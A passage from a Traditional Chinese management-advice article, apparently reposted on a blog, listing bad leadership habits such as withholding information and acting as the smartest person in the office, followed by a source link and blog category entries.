主管不一定就比員工厲害,不管是管理上或工作上,一定有某些部分做得不夠好,如果不敢聽反饋,不僅會讓員工質疑主管的能力,主管也不會進步。帶領團隊,必須建立一套反饋系統,定期跟員工聊聊,或透過線上方式,讓員工針對主管專業能力、溝通、團隊管理等面向反饋真實意見。

7. 資訊不透明

通常主管會比員工更了解公司近況、階段性目標等,這些資訊如果沒布達給員工,員工會像無頭蒼蠅瞎忙,產出不符目標的成品。主管必須記得在第一時間布達最新資訊,以免彼此間資訊有落差,如果遇到敏感話題,但員工也已察覺異狀時,不如誠實以對,畢竟員工也有了解公司事務的權益。

8. 把自己視為「辦公室裡最聰明的人」

許多工作者會因為技術或能力特別突出,而被提拔為管理職,然而一旦升上主管,成為「辦公室裡最聰明的人」就不再是成功的必要條件,好的領導力反而在於提高參與度、合作和成長,多跟員工互動、虛心學習,才有利職涯發展。

除了避免壞習慣,身為領導者最該注意的就是:好好發展領導技能,不是每個人天生都超適合領導,多數時候要從錯誤中學習、觀察別人怎麼做得更好,不斷檢討領導方針,才能成為一個帶領團隊向前邁進的核心人物。

資料來源:https://www.managertoday.com.tw/articles/view/64321?utm_source=line&utm_medium=message–&utm_campaign=64321&utm_content=-

分類
Cissp-WentzWu

20211218-Wuson CISSP Coachs Team聚餐

分類
Project Management

20211218_KK老師-感謝狀

分類
Project Management

20211218_KK老師-Scrum Training